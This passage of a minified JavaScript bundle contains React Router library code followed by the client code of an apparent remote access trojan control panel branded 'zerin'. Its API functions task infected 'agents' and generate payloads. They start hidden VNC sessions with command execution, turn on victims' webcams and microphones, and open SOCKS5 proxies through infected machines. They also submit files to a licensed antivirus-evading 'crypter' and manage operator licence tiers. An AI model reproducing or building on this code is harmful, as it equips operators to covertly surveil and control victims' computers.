Mj(a.path))i(a,o,c)}),t}function Mj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Mj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function uP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:gP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const dP=/^:[\w-]+$/,fP=3,pP=2,mP=1,hP=10,xP=-2,pg=e=>e==="*";function vP(e,t){let n=e.split("/"),r=n.length;return n.some(pg)&&(r+=xP),t&&(r+=pP),n.filter(i=>!pg(i)).reduce((i,a)=>i+(dP.test(a)?fP:a===""?mP:hP),r)}function gP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function yP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function bP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Jh(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function wP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Jh(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Da(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const jP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,kP=e=>jP.test(e);function NP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?Ya(e):e,a;if(n)if(kP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),Jh(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=mg(n.substring(1),"/"):a=mg(n,t)}else a=t;return{pathname:a,search:CP(r),hash:PP(i)}}function mg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Af(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function SP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function ex(e,t){let n=SP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function tx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=Ya(e):(i=oo({},e),We(!i.pathname||!i.pathname.includes("?"),Af("?","pathname","search",i)),We(!i.pathname||!i.pathname.includes("#"),Af("#","pathname","hash",i)),We(!i.search||!i.search.includes("#"),Af("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=NP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const Qr=e=>e.join("/").replace(/\/\/+/g,"/"),zP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),CP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,PP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function EP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Lj=["post","put","patch","delete"];new Set(Lj);const AP=["get",...Lj];new Set(AP);/** * React Router v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function lo(){return lo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=tx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:Qr([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const TP=p.createContext(null);function MP(e){let t=p.useContext(Zn).outlet;return t&&p.createElement(TP.Provider,{value:e},t)}function Mo(){let{matches:e}=p.useContext(Zn),t=e[e.length-1];return t?t.params:{}}function Wu(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Nr),{matches:i}=p.useContext(Zn),{pathname:a}=Xi(),o=JSON.stringify(ex(i,r.v7_relativeSplatPath));return p.useMemo(()=>tx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function LP(e,t){return IP(e,t)}function IP(e,t,n,r){Ga()||We(!1);let{navigator:i}=p.useContext(Nr),{matches:a}=p.useContext(Zn),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=Xi(),d;if(t){var f;let y=typeof t=="string"?Ya(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||We(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=lP(e,{pathname:h}),g=FP(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:Qr([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:Qr([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(Fu.Provider,{value:{location:lo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:Wr.Pop}},g):g}function DP(){let e=HP(),t=EP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const RP=p.createElement(DP,null);class $P extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(Zn.Provider,{value:this.props.routeContext},p.createElement(Dj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function BP(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(Bu);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(Zn.Provider,{value:t},r)}function FP(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||We(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||RP,c&&(u<0&&m===0?(qP("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(BP,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement($P,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var $j=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}($j||{}),Bj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Bj||{});function WP(e){let t=p.useContext(Bu);return t||We(!1),t}function UP(e){let t=p.useContext(Ij);return t||We(!1),t}function VP(e){let t=p.useContext(Zn);return t||We(!1),t}function Fj(e){let t=VP(),n=t.matches[t.matches.length-1];return n.route.id||We(!1),n.route.id}function HP(){var e;let t=p.useContext(Dj),n=UP(),r=Fj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function KP(){let{router:e}=WP($j.UseNavigateStable),t=Fj(Bj.UseNavigateStable),n=p.useRef(!1);return Rj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,lo({fromRouteId:t},a)))},[e,t])}const hg={};function qP(e,t,n){hg[e]||(hg[e]=!0)}function YP(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Bi(e){let{to:t,replace:n,state:r,relative:i}=e;Ga()||We(!1);let{future:a,static:o}=p.useContext(Nr),{matches:l}=p.useContext(Zn),{pathname:c}=Xi(),u=Qn(),d=tx(t,ex(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function GP(e){return MP(e.context)}function lt(e){We(!1)}function XP(e){let{basename:t="/",children:n=null,location:r,navigationType:i=Wr.Pop,navigator:a,static:o=!1,future:l}=e;Ga()&&We(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:lo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=Ya(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Da(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Nr.Provider,{value:u},p.createElement(Fu.Provider,{children:n,value:g}))}function ZP(e){let{children:t,location:n}=e;return LP(am(t),n)}new Promise(()=>{});function am(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,am(r.props.children,a));return}r.type!==lt&&We(!1),!r.props.index||!r.props.children||We(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=am(r.props.children,a)),n.push(o)}),n}/** * React Router DOM v6.30.3 * * Copyright (c) Remix Software Inc. * * This source code is licensed under the MIT license found in the * LICENSE.md file in the root directory of this source tree. * * @license MIT */function Ec(){return Ec=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function QP(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function JP(e,t){return e.button===0&&(!t||t==="_self")&&!QP(e)}function sm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function eE(e,t){let n=sm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const tE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],nE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],rE="6";try{window.__reactRouterVersion=rE}catch{}const iE=p.createContext({isTransitioning:!1}),aE="startTransition",xg=A2[aE];function sE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=aP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&xg?xg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>YP(r),[r]),p.createElement(XP,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const oE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",lE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,it=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=Wj(t,tE),{basename:h}=p.useContext(Nr),x,g=!1;if(typeof u=="string"&&lE.test(u)&&(x=u,oE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Da(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=_P(u,{relative:i}),v=dE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Ec({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),cE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Wj(t,nE),m=Wu(c,{relative:f.relative}),h=Xi(),x=p.useContext(Ij),{navigator:g,basename:y}=p.useContext(Nr),v=x!=null&&fE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Da(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},O=S?r:void 0,_;typeof a=="function"?_=a(z):_=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(z):l;return p.createElement(it,Ec({},f,{"aria-current":O,className:_,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var om;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(om||(om={}));var vg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(vg||(vg={}));function uE(e){let t=p.useContext(Bu);return t||We(!1),t}function dE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=Qn(),u=Xi(),d=Wu(e,{relative:o});return p.useCallback(f=>{if(JP(f,n)){f.preventDefault();let m=r!==void 0?r:Pc(u)===Pc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function nx(e){let t=p.useRef(sm(e)),n=p.useRef(!1),r=Xi(),i=p.useMemo(()=>eE(r.search,n.current?null:t.current),[r.search]),a=Qn(),o=p.useCallback((l,c)=>{const u=sm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function fE(e,t){t===void 0&&(t={});let n=p.useContext(iE);n==null&&We(!1);let{basename:r}=uE(om.useViewTransitionState),i=Wu(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Da(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Da(n.nextLocation.pathname,r)||n.nextLocation.pathname;return im(i.pathname,o)!=null||im(i.pathname,a)!=null}const Uu="zerin_token",Vu="zerin_role",Hu="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(Uu,n.data.token),n.data.role&&sessionStorage.setItem(Vu,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function Ze(){return sessionStorage.getItem(Uu)}function rx(e){sessionStorage.setItem(Uu,e)}function Lo(){sessionStorage.removeItem(Uu),sessionStorage.removeItem(Vu),sessionStorage.removeItem(Hu),co=null}function Uj(){return sessionStorage.getItem(Hu)||"rat"}let co=null;function pE(){return Ze()?co&&Date.now()/1e3>co?(Lo(),!1):!0:!1}class Jr extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function ve(e,t={}){const n=Ze(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Lo(),ii();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new Jr(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new Jr(i.status,o)}if(i.status!==204)return i.json()}async function Vj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function mE(e){const t=await Vj(e.password),n=await ve("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return rx(n.token),co=n.expires_at,n.role&&sessionStorage.setItem(Vu,n.role),n.tier&&sessionStorage.setItem(Hu,n.tier),ii(),n}async function hE(e){const t=await Vj(e.password),n=await ve("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return rx(n.token),co=n.expires_at,n.role&&sessionStorage.setItem(Vu,n.role),n.tier&&sessionStorage.setItem(Hu,n.tier),ii(),n}async function Hj(e){return ve("/api/agents")}async function xE(e){return ve(`/api/agents/${e}`)}async function Kj(e){return ve(`/api/agents/${e}`,{method:"DELETE"})}async function vE(e){await Promise.all(e.map(t=>Kj(t)))}async function gE(e){return ve(`/api/agents/${e}/ban`,{method:"POST"})}async function yE(e){return ve(`/api/agents/${e}/unban`,{method:"POST"})}async function ke(e,t){return ve(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Tn(e){return ve(`/api/agents/${e}/tasks`)}async function bE(){return ve("/api/events")}async function wE(e,t){return ve(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function jE(e){return ve("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function kE(){return ve("/api/payloads")}async function NE(){return ve("/api/server-info")}async function SE(e){return ve(`/api/payloads/${e}`,{method:"DELETE"})}async function ix(e){return ve(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function zE(e){return ve(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function qj(e){return ve(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function CE(e){return ve(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function PE(e,t,n=!1){return ve(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Yj(e,t=-1){return ve(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function EE(e){return ve(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function Gj(e){return ve(`/api/agents/${e}/mic/start`,{method:"POST"})}async function AE(e){return ve(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Xj(e){return ve(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function _E(e){return ve(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function OE(e){return ve(`/api/agents/${e}/socks5/status`)}async function TE(e){const t=Ze(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Lo(),ii(),new Jr(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new Jr(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new Jr(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function ME(){return ve("/api/admin/keys")}async function LE(e){return ve("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function IE(e){return ve(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function DE(){return ve("/api/admin/operators")}async function RE(e,t){return ve(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function $E(e,t){return ve(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let Zl=[];function BE(e){return Zl.push(e),()=>{Zl=Zl.filter(t=>t!==e)}}function FE(){return pE()}function ii(){Zl.forEach(e=>e())}function WE(){const e=Ze();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function Xa(){const e=p.useSyncExternalStore(BE,FE),t=p.useCallback(()=>{ii()},[]),n=p.useCallback(()=>{Lo(),ii()},[]),r=e?WE():null;return{isAuthenticated:e,token:Ze(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class UE extends p.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?s.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),s.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r bg-zerin-accent hover:bg-zerin-accent-hover\r px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function VE(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,a]=p.useState(!1),[o,l]=p.useState(null),c=p.useRef(null),u=p.useRef(0),d=p.useRef(),f=p.useRef(t);f.current=t;const m=p.useCallback(()=>{const x=Ze();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{a(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(a(!1),c.current=null,u.current{m()},w)}else Lo(),ii()},v.onerror=()=>{v.close()}},[n,r]),h=p.useCallback(()=>{u.current=0,m()},[m]);return p.useEffect(()=>(m(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[m]),{isConnected:i,lastMessage:o,reconnect:h}}const _f="zerin_notifications_enabled";function HE(){const[e,t]=p.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=p.useState(()=>localStorage.getItem(_f)==="true");p.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=p.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(_f,"true"))},[]),a=p.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(_f,String(c)),c})},[]),o=p.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:a,notify:o,isSupported:typeof Notification<"u"}}const Of="zerin-uwu-mode",gg=20,KE=3e3;function qE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),a=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.05,t+.04),a.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(a).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function YE(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function GE(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function XE(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` left:${Math.random()*100}vw; top:${Math.random()*100}vh; width:${i}px; height:${i}px; background:${t[n%t.length]}; animation-delay:${Math.random()*.6}s; `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const 